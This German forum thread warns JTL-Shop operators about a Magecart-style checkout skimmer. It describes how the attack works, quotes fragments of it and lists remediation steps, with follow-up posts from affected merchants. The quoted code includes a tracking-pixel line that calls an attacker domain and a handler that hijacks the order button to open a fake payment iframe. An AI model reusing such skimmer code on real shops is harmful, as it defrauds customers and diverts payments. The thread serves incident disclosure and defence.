Neu 🚨 Sicherheitswarnung für JTL-Shop-Betreiber: Manipulation des Checkout-Prozesses durch externes JavaScript (Magecart- / Payment-Skimmer)

[Aaron]

Es häufen sich die Betrugsfälle "Man in the Card" und auch hier im Forum findet man schon Vorfälle zu dem Hack z.B.:
https://forum.jtl-software.de/threa...uss-vorkasse-iframe-zahlungsumleitung.248501/

Es wurde ein aktiver Angriffsvektor identifiziert, bei dem über eine einfache Zeile externer JavaScript-Code in JTL-Shops eingeschleust wird (beispielsweise über manipulierte Datenbankeinträge, Fußzeilen-/Eigene-Boxen oder kompromittierte Drittanbieter-Plugins).

Das Besondere an dieser Bedrohung: Der Angriff erfordert keine direkte Modifikation der Core-Dateien des Shops. Sobald ein eingebundenes Plugin oder Script auf einen externen Server zugreift, der kompromittiert wurde, lässt sich dieser Angriff im Browser des Endkunden ausführen.

How it works: Funktionsweise des analysierten Schadcodes​

Bei dem analysierten Script handelt es sich um einen hochentwickelten Payment Skimmer (auch bekannt als Magecart-Angriff), der speziell auf JTL-Shop 5 (NOVA-Template) zugeschnitten ist. Das Script arbeitet in mehreren Phasen:

1. Telemetrie & Erkennung (Tracking)​

Gleich nach dem Laden sendet das Script ein unsichtbares Tracking-Pixel an eine externe Domain (oob.kinoavelon.com), um den Angriffserfolg und Informationen über den Shop zu protokollieren:

(new Image()).src='https://oob.kinoavelon.com/__utm.gif?d=[GEHACKTESHOPURL]&e=load&ts='+Date.now();

Es prüft, ob der Besucher ein Desktop- oder Mobilgerät nutzt und auf welcher Seite des Bestellprozesses er sich befindet.

2. Manipulation der Zahlungsmethoden & Rabatt-Anreiz​

• Ausblenden von Express-Zahlungen: Auf der Warenkorbseite blendet das Script legitime Optionen wie PayPal Express aus, um den Käufer in den regulären Checkout zu zwingen.
• Erkennung von Vorkasse / Überweisung: Das Script sucht im Checkout gezielt nach Zahlungsarten wie Vorkasse, Überweisung oder Banktransfer.
• Gefälschter Rabatt-Hinweis: Es injiziert einen optisch hervorgehobenen Text, um den Kunden zur Auswahl der Überweisung zu verleiten:

Gleichzeitig werden shop-eigene Rabatt-Badges unterdrückt, um die Täuschung perfekt zu machen.

3. Abfangen des Kaufabschlusses (Payment Interception)​

Sobald der Kunde auf „Zahlungspflichtig bestellen“ klickt, fängt das Script das Absenden des Formulars ab (e.preventDefault()).

Anstatt die Bestellung regulär abzuwickeln, öffnet das Script ein gefälschtes Modal-Fenster mit einem iframe, der eine externe Angreifer-Plattform lädt ([https://malumpay.click](https://malumpay.click)):

// Fängt den Klick auf den Kauf-Button ab und öffnet die Fake-Zahlungsmaske
btn.addEventListener('click', function (e) {
  e.preventDefault();
  openModal(amount, onProof, onUnavailable);
});

Über diesen gefälschten Frame wird das Geld oder die Zahlungsbestätigung direkt an die Angreifer umgeleitet. Erst wenn die Eingabe im Fake-Frame abgeschlossen ist, wird die eigentliche Shop-Bestellung ausgelöst, damit der Kunde keinen Verdacht schöpft.

Schutz- und Sofortmaßnahmen für Shop-Betreiber​

1. Quellcode & Datenbank prüfen:
   • Durchsuchen Sie die Datenbank (insbesondere Tabellen wie tbox, tboxsprache oder Plugin-Konfigurationen) sowie Template-Dateien nach unerwarteten <script src="https://...">-Einträgen.
2. Drittanbieter-Plugins auditieren:
   • Prüfen Sie alle installierten Plugins darauf, ob diese Scripte von externen Servern/CDNs nachladen.
3. Content Security Policy (CSP) einrichten:
   • Implementsieren Sie eine strenge CSP über den Webserver oder .htaccess. Eine CSP verhindert, dass der Browser JavaScript von nicht autorisierten externen Domains ausführt oder Unerlaubtes in iframe-Elementen lädt.
4. Logfiles prüfen:
   • Suchen Sie in Ihren Server-Logs nach Aufrufen zu verdächtigen Domains (z. B. kinoavelon.com, malumpay.click).
5. Passwörter & Zugänge erneuern:
   • Ändern Sie umgehend die Zugangsdaten für das JTL-Admin-Backend, Datenbanken und FTP/SSH.
6. Backend Einträge, insbesondere Boxen im Footer prüfen ob dort Modifikationen stattgefunden haben ( Wird nicht als Dateimodifikation angezeigt )

⚠️ Wichtige Zusatzhinweise für Betroffene​

1. Ein Software-Update reicht NICHT aus!​

• Der Schadcode bleibt aktiv: Ein Update von JTL-Shop aktualisiert lediglich die Core-Dateien. Schadcode, der in der Datenbank (z. B. in eigenen Boxen, sprachabhängigen Inhalten oder Plugin-Einstellungen) oder in indizierten Custom-Templates/Custom-Files liegt, wird durch ein Update nicht gelöscht.
• Manuelle Bereinigung erforderlich: Der Code muss explizit in den betroffenen Tabellen oder Template-Dateien gesucht und manuell entfernt werden. Prüfen Sie zudem zwingend alle aktiven Webhooks und benutzerdefinierten JavaScript-Einbindungen im JTL-Backend.

2. Rechtliche Pflichten​

• Prüfen Sie ob Kunden geschädigt wurden und eine Strafanzeige erstattet werden muss.
• Wenn bei diesem Angriff potenziell Kundendaten abgefangen und Zahlungsströme manipuliert wurden, liegt in der Regel eine Verletzung des Schutzes personenbezogener Daten vor. Der Vorfall muss innerhalb von 72 Stunden der zuständigen Datenschutzbehörde gemeldet werden. Betroffene Kunden müssen ebenfalls informiert werden.

Falls Ihr Unterstützung braucht oder einen Verdacht habt, gerne melden.

Log-Daten aller Backend-Änderungen an Seiten und Boxen wären hier interessant gewesen. Die Log-Daten des Backends bleiben diesbezüglich leider aktuell noch leer.

Viele Grüße

Aaron

 

[NikoBellic]

Wir sind/waren betroffen und bei uns war es die Domain oo.vampyrhotel.com. Das Tracking Pixel wurde an oob.tecnomar63.us gesendet. Das Bezahlungsgateway verweist auf malumpay.click. Malum ist latein und steht für "böse" 🙄

Wir betreiben 3 Shops und hier würde ich jedem raten sich einen Profi zu organisieren. JTL hatte uns ein Skript vom 3rd-Level-Support angeboten, was jedoch nur in rohen Testumgebungen geprüft wurde und nach eigenem Ermessen einzusetzen ist. Dieses Skript wäre dann für die Blowfish Key Änderung einsetzbar. Wir haben dieses Skript nicht ausgeführt.

Persönlich würde ich da ehrlich gesagt nicht rumexperimentieren, da die Sache richtig teuer werden kann.

 

[FranzderFranke]

"Sobald ein eingebundenes Plugin oder Script auf einen externen Server zugreift, der kompromittiert wurde, lässt sich dieser Angriff im Browser des Endkunden ausführen."

Weiß man an welchen Plugins oder Scripten es liegen könnte?

Und was könnte ich in htaccess noch eintragen um mich vor soetwas zu schützen?

 

[damdaki]

Hallo,
auch wir hatten heute den Vorfall. Wie hier beschrieben wurde, konnte ich in der tboxen - Tabelle den folgenden Eintrag finden:



In der Tabelle tboxsprache gab es jeweils zwei Einträge für Deutsch und Englisch, in denen ein bösartiger Link enthalten war.
Das gesamte shop-Dateiverzeichnis habe ich bereits mit grep -rn '<script src="https://' durchsucht, jedoch konnte ich dort nichts finden.

Es wäre gut, hierzu eine offizielle Rückmeldung von JTL zu erhalten – insbesondere was die Aussagen im anderen Chat bezüglich des Cookie-Diebstahls betrifft. Welche Einstellungen müssten hierfür konkret im Backend vorgenommen werden?
Danke

 

[sjk]

Auf welcher Version seid ihr? Habt ihr gepatched?

 

[NoOne]

Hallo,
auch wir hatten heute den Vorfall. Wie hier beschrieben wurde, konnte ich in der tboxen - Tabelle den folgenden Eintrag finden:
Den Anhang 133342 betrachten


In der Tabelle tboxsprache gab es jeweils zwei Einträge für Deutsch und Englisch, in denen ein bösartiger Link enthalten war.
Das gesamte shop-Dateiverzeichnis habe ich bereits mit grep -rn '<script src="https://' durchsucht, jedoch konnte ich dort nichts finden.

Es wäre gut, hierzu eine offizielle Rückmeldung von JTL zu erhalten – insbesondere was die Aussagen im anderen Chat bezüglich des Cookie-Diebstahls betrifft. Welche Einstellungen müssten hierfür konkret im Backend vorgenommen werden?
Danke

Was soll da für eine Aussage von JTL zu kommen? Das ist hier erwähnt: https://www.jtl-software.com/de/jtl-shop-sicherheits-patch-kostenloses-plugin
Punkt: Indikatoren in der Datenbank (JavaScript-Injektion / Skimming)

Das kann nicht nur durch die letzte Sicherheitslücke oder Cookie-Diebstahl passieren, sondern sobald ein Backend-Zugang mit ausreichenden Rechten (Plugin-Manager, Footer / Boxen), FTP-Zugang oder Datenbank-Zugang kompromittiert ist. Gegen Cookie-Diebstahl durch z. B. CrossSite Scripting ist die erste Verteidigungslinie die Einstellungen der Cookies in PHP. Der Shop benutzt hier in den globalen Einstellungen die Standardwerte die durch das Hosting vorgegeben sind. Man kann die aber auch umstellen:

Secure: Ja
HTTPONLY: Ja
Samesite: Lax oder Strict

Das nutzt allerdings auch nichts, wenn das System, auf dem sich der Cookie befindet, kompromittiert ist. Schlussendlich sollte alles hinter /admin eigentlich gar nicht für unbefugte erreichbar sein. D.h. nur per IP-Whitelisting (und dann ggf. VPN) und 2FA für alle permanenten Admin-Accounts. Das ist etwas lästig, weil man die Whitelist für Supportanfragen entweder temporär erweitern oder eine Weile ausschalten muss, aber Sicherheit und Bequemlichkeit sind selten komplett miteinander vereinbar.

Edit: Zum Umstellen der Cookie-Einstellungen: Ein Hosting kann die Umstellung zur Laufzeit, also durch eine Webapp, auch verhindern und die Vorgaben aus der php.ini immer durchsetzen. Es ist also nicht garantiert, dass die Werte über den Shop überhaupt gesetzt werden können.

 

[damdaki]

Auf welcher Version seid ihr? Habt ihr gepatched?

Ich kann mich nicht mehr an die genaue Version erinnern – irgendetwas mit 5.4 war es. Wir haben jetzt auf die Version 5.7.2 aktualisiert. Den Link, den der Vorgänger reingepostet hat, ist sehr gut. Ich kannte den Link bisher nicht. Hab aber jetzt durchgelesen. Der Inhalt ist sehr hilfreich.

 

[Aaron]

Der hack kann auch über das Backend stattgefunden haben. Ich würde unbedingt empfehlen das Passwort zu ändern und die 2 Faktor Authentifizierung zu aktivieren. Auch ein neues Passwort für die Datenbank und in der config entsprechend ändern. Der Patch alleine reicht nicht aus.

 

[Rayblaster]

Der hack kann auch über das Backend stattgefunden haben. Ich würde unbedingt empfehlen das Passwort zu ändern und die 2 Faktor Authentifizierung zu aktivieren. Auch ein neues Passwort für die Datenbank und in der config entsprechend ändern. Der Patch alleine reicht nicht aus.

Wie kann ich denn das geänderte mysql DB Passwort im Shop ändern?
DB Passwort über z.B. All-inkl ändern und dann in der config.JTL-Shop.ini.php unter Zeile define('DB_PASS'... das neue Passwort eintragen?
Reicht das oder muss sonst noch wo das neue PW im Shop hinterlegt werden?

 

[yousuf1131]

Wie kann ich denn das geänderte mysql DB Passwort im Shop ändern?
DB Passwort über z.B. All-inkl ändern und dann in der config.JTL-Shop.ini.php unter Zeile define('DB_PASS'... das neue Passwort eintragen?
Reicht das oder muss sonst noch wo das neue PW im Shop hinterlegt werden?

Ich arbeite zwar nicht mit der Datenbank, aber ich kann bestätigen, dass man das Passwort nicht in config ändert. Dort trägt man das neue Passwort nur ein, nachdem man es geändert hat.

 

[Rayblaster]

Gibt es eine Anleitung von JTL wie man das mySql Passwort ändert und wo man es in den Shopdateien ändern muss?
Es passieren Hackerangriffe über das Kontaktformular und JTL empfiehlt alle Passwörter (auch das der DB zu ändern)😡
Es gibt aber keine Anleitung dazu oder wo stellt JTL diese bereit?

 

[Aaron]

Hallo Rayblaster,
das datenbank-passwort beispielsweise bei all-inkl ändert man im backend-bereich unter datenbanken. Dort kann man den benutzernamen und db namen sehen (falls ihr viele datenbanken habt) und in er config prüfen ob das die datenbank ist. Den Shop auf Wartungsmodus stellen und dann in der config und beim provider ändern. Wenn keine Drittanbietersoftware auf der gleichen db hängt dann wars das auch schon und der Shop sollte wieder laufen.
Viele Grüße